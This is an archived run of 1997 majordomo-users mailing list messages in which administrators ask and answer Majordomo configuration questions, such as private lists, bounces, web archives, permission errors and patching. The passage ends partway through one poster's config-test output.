From owner-majordomo-users-outgoing Tue Jun 10 09:40:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA00445 for majordomo-users-outgoing; Tue, 10 Jun 1997 08:50:58 -0700 (PDT) Received: from nimbus.planet.com.mx (nimbus.planet.com.mx [167.114.25.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA00399 for ; Tue, 10 Jun 1997 08:50:39 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id KAA24863; Tue, 10 Jun 1997 10:51:31 -0500 Date: Tue, 10 Jun 1997 10:51:31 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: Darryn Parker cc: majordomo-users@GreatCircle.COM Subject: Re: Private lists In-Reply-To: <199706100610.QAA15473@qcci.qcci.com.au> Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 10 Jun 1997, Darryn Parker wrote: > I wish to create a private list. I know what "noadvertise" and "advertise" > do but the following line in my test.config file has no effect > > noadvertise /.*/ << END > > whats' wrong? > > Yes, I am new to majordomo 1.94.3 (running on a linux 2.0.28 box) Well I can notice that you are also new to Perl, and perhaps to any flavour of unix. The facts are: 1.- Wherever you have a label << END means that the entry is from definition to label END thus noadvertise entries start AFTER <; Tue, 10 Jun 1997 10:26:57 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id MAA25513; Tue, 10 Jun 1997 12:27:34 -0500 Date: Tue, 10 Jun 1997 12:27:33 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: Darryn Parker cc: majordomo-users@GreatCircle.COM Subject: Re: Private lists In-Reply-To: Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 10 Jun 1997, J. Enrique Diaz Jolly wrote: On my answer to Darryn Parker I wrote: > noadvertise << END > 1st entry > 2nd entry > END > the line noadverise << END must be <; Tue, 10 Jun 1997 10:27:08 -0700 (PDT) Received: from lint.cisco.com by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id KAA06096; Tue, 10 Jun 1997 10:24:32 -0700 (PDT) Received: from wwilliam-pc.cisco.com (wwilliam-pc.cisco.com [171.68.65.151]) by lint.cisco.com (8.8.5/CISCO.SERVER.1.2) with SMTP id JAA00286 for ; Tue, 10 Jun 1997 09:04:39 -0700 (PDT) Message-Id: <2.2.32.19970610160305.00c5b960@lint.cisco.com> X-Sender: wwilliam@lint.cisco.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 10 Jun 1997 11:03:05 -0500 To: majordomo-users@GreatCircle.COM From: Wade Williams Subject: Bounce script handling Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I'd like to hear suggestions from others on how they allow their list owners to place users on the bounces list. Obviously, you can let them run the bounces script, but that doesn't appeal to me greatly, since it requires creating an alias or link to the script, plus instructions for them on how to create the .majordomo file and how to run the bounces script, and finally, requires the storage of list passwords in an "uncontrolled" file. I'd like list-owners to be able to move users to the bounces list through an email command (other than just unsubscribe/subscribe). Any got any suggestions or come up with neat ways of accomplishing this? Wade --------------------------------------------------------------------------- Wade Williams "And the trees are all kept equal by Systems Engineer hatchet, axe, and saw." Cisco Systems, Inc. - N. Peart Brentwood, TN 615-221-2918 wwilliam@cisco.com --------------------------------------------------------------------------- From owner-majordomo-users-outgoing Tue Jun 10 11:27:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA22140 for majordomo-users-outgoing; Tue, 10 Jun 1997 11:14:38 -0700 (PDT) Received: from allenpress.com (gopher.allenpress.com [204.52.204.65]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA22132 for ; Tue, 10 Jun 1997 11:14:31 -0700 (PDT) Received: from renee.allenpress.com by allenpress.com with SMTP (5.65/1.2-eef) id AA17323; Tue, 10 Jun 97 13:15:18 -0500 Message-Id: <3.0.2.32.19970610131542.0078f31c@ap-cov.allenpress.com> X-Sender: rrosen@ap-cov.allenpress.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Tue, 10 Jun 1997 13:15:42 -0500 To: majordomo-users@greatcircle.com From: Renee Rosen Subject: Re: archive2 -> HTML Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Forwarded (by permission) to the list, since this is the only off-list answer I got to my question, whereas I received quite a few requests off-list for any info I got. >X-Sender: peterz@mail.virtus.com >Date: Mon, 9 Jun 1997 14:12:07 -0500 >To: Renee Rosen >From: peter.zenge@virtus.com (Peter Zenge) >Subject: Re: archive2 -> HTML > >>At 01:14 PM 6/9/97 -0300, you wrote: >>>Stephanie Trinh askes: >>> >>>>Another question is, is there an existing utility that >>>>will convert the archived messages (archive2) to html >>>>format ? >>> >>>MHonArc does this, and very nicely. A new version has just come out, so >>>I'll reply to the list in case some of you missed the announcement: >>> >> >>This brings up a question I had. Which is better, MHonArch or Hypermail? >>(Or at least, what are the advantages and disadvantages of either or both >>of them?) Has anyone had experience with both of them? I plan to be setting >>up one of them for web archives of lists, but I'm not sure which to try or >>if I should just try both and see which I prefer and which meets my needs >>better. (FYI, I'm running Majordomo 1.94.3 on Red Hat Linux 4.1.) If this >>is considered "off-topic," feel free to reply off-list. Thanks in advance >>for any pointers or advice you can give me. >> > >I have used both, and still do. Hypermail is faster (written in C as >opposed to Perl), but not very customizable. MhonArc is customizable to >the point of being overwhelming, but it will also work without setting up >any configuration. One problem I had with Hypermail: it doesn't seem to do >any file locking; run two copies of Hypermail on one archive, and they will >screw it up. Mhonarc can have multiple copies running safely. > > >----8<----------8<----------8<-------- >Peter Zenge (peter.zenge@virtus.com) >Systems Administrator, Virtus Corporation >Cary, North Carolina >(919) 467-9700 x 3040 >fax: (919) 460-4530 > >visit our website at http://www.virtus.com > > > ************************************************************ Renee Rosen email: rrosen@allenpress.com, Electronic Publishing rrosen@lists.allenpress.com Allen Press, Inc. voice: 913-843-1234 1041 New Hampshire St. url: http://www.allenpress.com Lawrence, KS 66044 ************************************************************ From owner-majordomo-users-outgoing Tue Jun 10 12:10:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA00417 for majordomo-users-outgoing; Tue, 10 Jun 1997 12:04:29 -0700 (PDT) Received: from cti4.cntfl.com (cti4-f0.tlxd.sprintans.net [199.44.158.15]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id MAA00346 for ; Tue, 10 Jun 1997 12:04:11 -0700 (PDT) Received: from titan.jssinc.com (ts2-06.tlxd.sprintans.net [199.44.130.36]) by cti4.cntfl.com (8.6.12/8.6.12) with ESMTP id PAA19405 for ; Tue, 10 Jun 1997 15:04:46 -0400 Message-Id: <199706101904.PAA19405@cti4.cntfl.com> From: "Joel McAllister" To: Subject: majordomo errors Date: Mon, 10 Jun 1996 15:02:49 -0400 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk im running majordomo 1.94.1 on a linux 2.0.27 and sendmail 8.8.5 the error I am getting is majordomo saying it can not write to a file. this is the following error MAJORDOMO ABORT (mj_majordomo)!! Can't append to /usr/local/majordomo-1.94.1/lists/vca: Permission denied I know that it can write to the file because it has the perms and access to write to the file. everything is chowned and chmoded to the correct user. [root]:nomad:322:/usr/local/majordomo-1.94.1> ls -l /usr/local/majordomo-1.94.1/lists/vca -rwxr-xr-x 1 majordom daemon 2261 Jun 10 05:35 /usr/local/majordomo-1.94.1/lists/vca* if I su to majordomo and type echo blah >> /usr/local/majordomo-1.94.1/lists/vca it works fine. it is only when majordomo trys to add a new user. any help I can get would be great. joel From owner-majordomo-users-outgoing Tue Jun 10 15:08:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA23782 for majordomo-users-outgoing; Tue, 10 Jun 1997 14:44:23 -0700 (PDT) Received: from terrania.westfalen.de (terrania.westfalen.de [195.52.199.238]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id OAA23762 for ; Tue, 10 Jun 1997 14:44:09 -0700 (PDT) Received: from localhost by terrania.westfalen.de via sendmail with smtp id for ; Tue, 10 Jun 1997 23:44:58 +0200 (CEST) (Smail-3.2 1996-Jul-4 #1 built 1996-Nov-18) Date: Tue, 10 Jun 1997 23:44:57 +0200 (CEST) From: Daniel Schneider To: majordomo-users@greatcircle.com Subject: Archive WWW-Interface Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I am currently installing a WWW-Interface for the archive of a Mailing List. I am going to user Mhonarc and I want to use marc-seach.4.2. As anyone installed marc-seach.4.2 and can point me at a Web-Interface written for it, because I am currently a bit confused about how the www-page for the search engine has to look. Thanks Daniel Schneider http://www.westfalen.de/terrania/ http://www.westfalen.de/terrania/english.html (English) From owner-majordomo-users-outgoing Tue Jun 10 15:10:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA21184 for majordomo-users-outgoing; Tue, 10 Jun 1997 14:29:12 -0700 (PDT) Received: from sparkie.osl.state.or.us (sparkie.osl.state.or.us [192.84.215.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id OAA21155 for ; Tue, 10 Jun 1997 14:29:04 -0700 (PDT) Received: (from chris@localhost) by sparkie.osl.state.or.us (8.6.9/8.6.9) id OAA05684; Tue, 10 Jun 1997 14:28:47 -0700 Date: Tue, 10 Jun 1997 14:28:42 -0700 (PDT) From: Christopher Adams To: majordomo-users@greatcircle.com Subject: patches to 1.94.3 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I would like to use the patch to correct the "munge-domain" problem that was discussed awhile back. I am not sure how to use the patches and when it is advisable to use a particular patch. The one I want to use is majordomo.pl.0. Do I just copy over the old majordomo.pl file with this one? Just want to make sure. I don't think the use of patches has been discussed on this list. It would be useful for us "faux newbies". Christopher Adams Automated Systems Oregon State Library chris@sparkie.osl.state.or.us From owner-majordomo-users-outgoing Tue Jun 10 17:47:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA02334 for majordomo-users-outgoing; Tue, 10 Jun 1997 15:38:24 -0700 (PDT) Received: from sparkie.osl.state.or.us (sparkie.osl.state.or.us [192.84.215.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id PAA02235 for ; Tue, 10 Jun 1997 15:37:57 -0700 (PDT) Received: (from chris@localhost) by sparkie.osl.state.or.us (8.6.9/8.6.9) id PAA06210; Tue, 10 Jun 1997 15:37:49 -0700 Date: Tue, 10 Jun 1997 15:37:48 -0700 (PDT) From: Christopher Adams To: majordomo-users@GreatCircle.COM Subject: Re: patches to 1.94.3 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Okay, so I am replying to my own message, but at least I am working on it! I am looking at the majordomo.pl.0 patch, and now I see that - means delete and + must mean add. So, what does @@ -707,17 +707,18 @@ mean? I assume that other than the additions and subtractions, everything else remanins the same. Christopher Adams On Tue, 10 Jun 1997, Christopher Adams wrote: > Date: Tue, 10 Jun 1997 14:28:42 -0700 (PDT) > From: Christopher Adams > To: majordomo-users@GreatCircle.COM > Subject: patches to 1.94.3 > > I would like to use the patch to correct the "munge-domain" problem that > was discussed awhile back. I am not sure how to use the patches and when > it is advisable to use a particular patch. The one I want to use is > majordomo.pl.0. Do I just copy over the old majordomo.pl file with this > one? Just want to make sure. I don't think the use of patches has been > discussed on this list. It would be useful for us "faux newbies". > > Christopher Adams > Automated Systems > Oregon State Library > chris@sparkie.osl.state.or.us > > > > From owner-majordomo-users-outgoing Tue Jun 10 18:04:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA28325 for majordomo-users-outgoing; Tue, 10 Jun 1997 17:42:32 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA19096 for ; Tue, 10 Jun 1997 16:55:03 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id PAA13174 for ; Tue, 10 Jun 1997 15:55:00 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA11998; Tue, 10 Jun 1997 17:52:53 -0500 (CDT) To: Daniel Schneider Cc: majordomo-users@GreatCircle.COM Subject: Re: Archive WWW-Interface References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 10 Jun 1997 17:52:52 -0500 In-Reply-To: Daniel Schneider's message of Tue, 10 Jun 1997 23:44:57 +0200 (CEST) Message-ID: Lines: 8 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "DS" == Daniel Schneider writes: DS> I am going to user Mhonarc and I want to use marc-seach.4.2. You should probably ask on the MHonArc mailing list; the author of marc-search is there, but I don't think he's here. - J< From owner-majordomo-users-outgoing Tue Jun 10 19:10:57 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA11704 for majordomo-users-outgoing; Tue, 10 Jun 1997 18:57:53 -0700 (PDT) Received: from odysseus.sae.gr (odysseus.sae.gr [194.219.29.71]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA11643 for ; Tue, 10 Jun 1997 18:57:35 -0700 (PDT) Received: from volida (gmich@volida.sae.gr [194.219.29.90]) by odysseus.sae.gr (8.8.4/8.7.3) with SMTP id FAA16445 for ; Wed, 11 Jun 1997 05:06:18 +0300 Message-Id: <3.0.32.19970611045953.0095cd80@odysseus.sae.gr> X-Sender: gmich@odysseus.sae.gr X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 11 Jun 1997 05:00:15 +0300 To: majordomo-users@greatcircle.com From: "George A. Michalopoulos" Subject: different results with same setups Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk hello all, i have majordomo running in 2 similar systems. Digest works fine in the one, but denys to work to the other.. I copied majordomo.cf, majordomo.pl and digest, from the working one to the other, but the message remains the same : ----- The following addresses had permanent fatal errors ----- "|/usr/majordomo/wrapper digest -r -C -l news-digest news-digest-outgoing" (expanded from: news-digestify) ----- Transcript of session follows ----- Undefined subroutine &main::set_lock called at /usr/majordomo/digest line 29. 554 "|/usr/majordomo/wrapper digest -r -C -l news-digest news-digest-outgoing"... unknown mailer error 2 any suggestions ? .."kai osoi kratoyn filies apo to '65, 12 para pente, exw kati na toys pw".. ----------------------------------------------------------------------------- omich@hyper.gr => The youngest Internet User! http://hypernet.hyper.gr/~gmich/omich =>Take a look NOW ! George A. Michalopoulos e-mail gmich@sae.gr e-mail gmich@hyper.gr WWW http://hypernet.hyper.gr/~gmich 3 Hilonos Str. - 546 45 GR GREECE Tel. ++30 (31) 867860, 256394, (392) 72272 (office) Tel. ++30 (31) 868414 (home) Fax ++30 (31) 848770 (data also) From owner-majordomo-users-outgoing Tue Jun 10 22:10:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA11089 for majordomo-users-outgoing; Tue, 10 Jun 1997 21:35:34 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA11082 for ; Tue, 10 Jun 1997 21:35:28 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id XAA17739; Tue, 10 Jun 1997 23:36:40 -0500 (CDT) To: majordomo-users@greatcircle.com Subject: Request for Message-ID cache Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 10 Jun 1997 23:36:40 -0500 Message-ID: Lines: 10 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk It's been years since I made a request here, but here goes. A list I'm on really needs to keep a cache of recently seen Message-IDs to stop duplicates and I know that somebody's said that they wrote code to do it, but I can't find that code, all that's in the archives is an example procmail rule and and I don't have the time to write it up myself right now. Does anyone have the hack to do this? - J< From owner-majordomo-users-outgoing Tue Jun 10 22:19:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA06451 for majordomo-users-outgoing; Tue, 10 Jun 1997 21:10:19 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA06357 for ; Tue, 10 Jun 1997 21:10:00 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id XAA17300; Tue, 10 Jun 1997 23:10:42 -0500 (CDT) To: "George A. Michalopoulos" Cc: majordomo-users@GreatCircle.COM Subject: Re: different results with same setups References: <3.0.32.19970611045953.0095cd80@odysseus.sae.gr> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 10 Jun 1997 23:10:41 -0500 In-Reply-To: "George A. Michalopoulos"'s message of Wed, 11 Jun 1997 05:00:15 +0300 Message-ID: Lines: 10 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "GAM" == George A Michalopoulos writes: GAM> I copied majordomo.cf, majordomo.pl and digest, from the working one GAM> to the other, but the message remains the same : GAM> &main::set_lock called at /usr/majordomo/digest line 29. What about shlock.pl? That's where set_lock is defined. - J< From owner-majordomo-users-outgoing Tue Jun 10 22:24:34 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA05972 for majordomo-users-outgoing; Tue, 10 Jun 1997 21:08:08 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA05923 for ; Tue, 10 Jun 1997 21:07:54 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id XAA17247; Tue, 10 Jun 1997 23:08:58 -0500 (CDT) To: Christopher Adams Cc: majordomo-users@GreatCircle.COM Subject: Re: patches to 1.94.3 References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 10 Jun 1997 23:08:57 -0500 In-Reply-To: Christopher Adams's message of Tue, 10 Jun 1997 15:37:48 -0700 (PDT) Message-ID: Lines: 12 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "CA" == Christopher Adams writes: CA> I am looking at the majordomo.pl.0 patch, and now I see that - means CA> delete and + must mean add. So, what does @@ -707,17 +707,18 @@ mean? They're line numbers (start of block, length). But I really have to ask: why on Earth are you doing this by hand? Just use the patch command. It automatically makes all of the changes for you. Get it (or a pointer to another site where you can get it) from prep.ai.mit.edu:/pub/gnu/, if it isn't already installed on your system. - J< From owner-majordomo-users-outgoing Tue Jun 10 23:27:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA27081 for majordomo-users-outgoing; Tue, 10 Jun 1997 23:15:17 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA27055 for ; Tue, 10 Jun 1997 23:15:06 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id BAA01650 for ; Wed, 11 Jun 1997 01:19:20 -0500 Date: Wed, 11 Jun 1997 01:19:18 -0500 (CDT) From: Mitchell Leben To: majordomo-users@greatcircle.com Subject: How to Handle Bad Addresses? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk The address below is the worst offender on my largest list (~175 members and growing). There are 30 entries in the que like this. The oldest is 5 days old: UAA26213- 920 Fri Jun 6 20:19 owner-epson800@leben.com (Deferred: Connection timed out with nssdca.gsfc.nasa.gov.) OKERSON@nssdca.gsfc.nasa.gov What is the best way to handle this? Should I just remove the user? Contact the postmaster at nssdca.gsfc.nasa.gov? I figured after a day or two the message would be delivered, but apparently not. Many thanks. -Mitch ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Wed Jun 11 05:27:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id EAA00314 for majordomo-users-outgoing; Wed, 11 Jun 1997 04:59:21 -0700 (PDT) Received: from math.ams.org (math.ams.org [130.44.210.14]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id EAA00305 for ; Wed, 11 Jun 1997 04:59:13 -0700 (PDT) From: rem@MATH.AMS.ORG Received: from axp14.ams.org by math.ams.org via smtpd (for honor.greatcircle.com [198.102.244.44]) with SMTP; 11 Jun 1997 12:00:19 UT Received: from epsilon.ams.org by AXP14.AMS.ORG (PMDF V5.1-8 #16534) with SMTP id <01IJXTGYD3BK001ZRQ@AXP14.AMS.ORG> for majordomo-users@greatcircle.com; Wed, 11 Jun 1997 08:00:17 EST Received: from localhost by epsilon.ams.org; (5.65v3.2/1.1.8.2/12Oct95-1155AM) id AA01564; Wed, 11 Jun 1997 08:00:16 -0400 Date: Wed, 11 Jun 1997 08:00:16 -0400 Subject: restricting the who command To: majordomo-users@greatcircle.com Message-id: <9706111200.AA01564@epsilon.ams.org> X-MTS: smtp Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello Everyone, I am running ver 1.93 of MajorDomo. I am looking for a way to completely restrict the who command. I know that I can set private_who to yes, but I don't want anybody to be able to get a listin of who is on a particular list. Any ideas? Thanks, Bob Morse System Administrator American Mathematical Society From owner-majordomo-users-outgoing Wed Jun 11 07:59:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA14042 for majordomo-users-outgoing; Wed, 11 Jun 1997 06:44:32 -0700 (PDT) Received: from ns.kreative.net ([208.0.26.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA14027 for ; Wed, 11 Jun 1997 06:44:17 -0700 (PDT) Received: from default (dial53.kreative.net [208.0.26.68]) by ns.kreative.net (8.8.4/8.7.3) with SMTP id JAA15472 for ; Wed, 11 Jun 1997 09:34:25 -0400 (EDT) Message-ID: <339EABFE.499E@kreative.net> Date: Wed, 11 Jun 1997 09:45:34 -0400 From: gnat Reply-To: gnat@kreative.net Organization: Kreative Access X-Mailer: Mozilla 3.01C-KIT (Win95; I) MIME-Version: 1.0 To: majordomo-users@greatcircle.com Subject: how can you tell... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk MJ users, Is there any way of telling whether or not the entire list members get a posting to the mailing list?? I have a customer who has a MJ mailing list with the company I work for. The list has over 500 members. This is the message he got from MJ MAJORDOMO ABORT Mailer /usr/sbin/sendmail -oi -fowner-ferretnewserv@ns.kreative.net ferretnewserv-list exited unexpectedly with error 17152 what does this mean??? Did MJ crap out, and just quit sending?? We need to know if the entire list got the posting rich dierlam kreative access From owner-majordomo-users-outgoing Wed Jun 11 08:05:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA16444 for majordomo-users-outgoing; Wed, 11 Jun 1997 07:10:49 -0700 (PDT) Received: from FSM-1.PICA.ARMY.MIL (fsm-1.pica.army.mil [129.139.164.101]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id HAA16410 for ; Wed, 11 Jun 1997 07:10:35 -0700 (PDT) Date: Wed, 11 Jun 97 10:11:44 EDT From: Info-LabVIEW List Maintainer To: Mitchell Leben , majordomo-users@greatcircle.com Subject: Re: How to Handle Bad Addresses? Organization: SADARM SPICE Team, US Army ARDEC, Picatinny Arsenal, NJ Message-ID: <9706111011.aa21977@fsm-1.pica.army.mil> Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Mitchell Leben: >The address below is the worst offender on my largest list (~175 members >and growing). There are 30 entries in the que like this. The oldest is 5 >days old: > >UAA26213- 920 Fri Jun 6 20:19 owner-epson800@leben.com > (Deferred: Connection timed out with nssdca.gsfc.nasa.gov.) > OKERSON@nssdca.gsfc.nasa.gov > >What is the best way to handle this? Should I just remove the user? >Contact the postmaster at nssdca.gsfc.nasa.gov? I figured after a day or >two the message would be delivered, but apparently not. It's not unusual for mail to back up for days at a time. I have my MTA (MMDF, in this case) set to timeout msgs when they're 164 hours (11 days) old. What you do with those addresses is pretty much your call. For a big organization like NASA, I'd personally leave the user subscribed, figgering the problem to be fixable and likely to be fixed. A user at somesite.com, I'd consider axeing... Tom Coradeschi, Info-LabVIEW List Maintainer http://k-whiner.pica.army.mil/info-labview/info-labview.html From owner-majordomo-users-outgoing Wed Jun 11 08:26:04 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA18465 for majordomo-users-outgoing; Wed, 11 Jun 1997 07:36:08 -0700 (PDT) Received: from east.isi.edu (east.isi.edu [38.245.76.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA18438 for ; Wed, 11 Jun 1997 07:35:55 -0700 (PDT) Received: from nemien.east.isi.edu by east.isi.edu (8.8.5/5.61+local-24) id ; Wed, 11 Jun 1997 10:36:56 -0400 (EDT) Date: Wed, 11 Jun 1997 10:36:57 -0400 (Eastern Daylight Time) From: Forrest Houston Reply-To: Forrest Houston To: majordomo-users@greatcircle.com Subject: 1.94.3 install - problems Message-ID: X-X-Sender: fhouston@east.isi.edu MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I'm going through the install process as outline by the file of that name. As far as I can tell everything went fine (I didn't see any errors in any of the compiler outputs or anything). However, the final steps aren't working as they should be. When I do a ./wrapper config-test it comes back with Majordomo should work fine on your machine, send mail to majordomo-registration, etc. When I tell it to send the mail though the program crashes. Also, when I do the final step of creating the "test" list and sending mail to it, I get 2 messages back. One I think is the correct response, the other is a mailer error. Both are included below along with the output of the config-test. Since I'm not subscribed to the users list I would appreciate direct replies (plus that will cut down on the list bandwidth taken up by what I'm sure is a simple configuration problem). Thanks for the help Forrest Houston SysAdmin USC/ISI - IPCe -=-=-=-=-=-=-=-=-=-=-==-=-=- "correct" mail: >>>> lists Majordomo@east.isi.edu serves the following lists: Of course, however, the "test" list isn't showing up. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- The other mail: Subject: Returned mail: unknown mailer error 139 The original message was received at Wed, 11 Jun 1997 10:21:32 -0400 (EDT) from root@localhost ----- The following addresses had permanent fatal errors ----- "|/export/archive/majordomo/wrapper majordomo" (expanded from: majordomo) ----- Transcript of session follows ----- Segmentation Fault 554 "|/export/archive/majordomo/wrapper majordomo" ... unknown mailer error 139 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- config.test output: ------------------------------------------------------------ ---------------- Config-test for Majordomo ---------------- ------------------------------------------------------------ --------------------- Obvious things: --------------------- ------------------ environment variables ------------------ HOME=/export/archive/majordomo-1.94.3 LOGNAME=root MAJORDOMO_CF=/export/archive/majordomo-1.94.3/majordomo.cf PATH=/bin:/usr/bin:/usr/ucb SHELL=/bin/sh TZ=US/Eastern USER=root --------------------- euid/egid checks --------------------- effective user = majordomo (uid 1001) effective group = majordomo daemon nuucp lp tty mail uucp adm sys bin root other (gid 101 12 9 8 7 6 5 4 3 2 0 1 ) ---------------------- uid/gid checks ---------------------- real user = majordomo (uid 1001) real group = majordomo daemon nuucp lp tty mail uucp adm sys bin root other (gid 101 12 9 8 7 6 5 4 3 2 0 1 ) ------------------------------------------------------------ Non obvious things that cause headaches: ------------------------------------------------------------ Good: 'require'd /export/archive/majordomo-1.94.3/majordomo.cf okay. Good: found ctime.pl okay. Good: found majordomo_version.pl okay. Good: found majordomo.pl okay. Good: found shlock.pl okay. Good: found config_parse.pl okay. You're running Majordomo Version 1.94.3. --==> Majordomo home directory is /export/archive/majordomo-1.94.3. ------------------- Include directories ------------------- /export/archive/majordomo-1.94.3 /local/perl5/lib/sun4-sunos /local/perl5/lib . --------------------------- Home --------------------------- Good: changedir to /export/archive/majordomo-1.94.3 succeeded. Good: Created a mock lock file. ---------------------- temp directory ---------------------- Good: Created a temp file in $TMPDIR (/usr/tmp). ---------------------- list directory ---------------------- Good: list directory 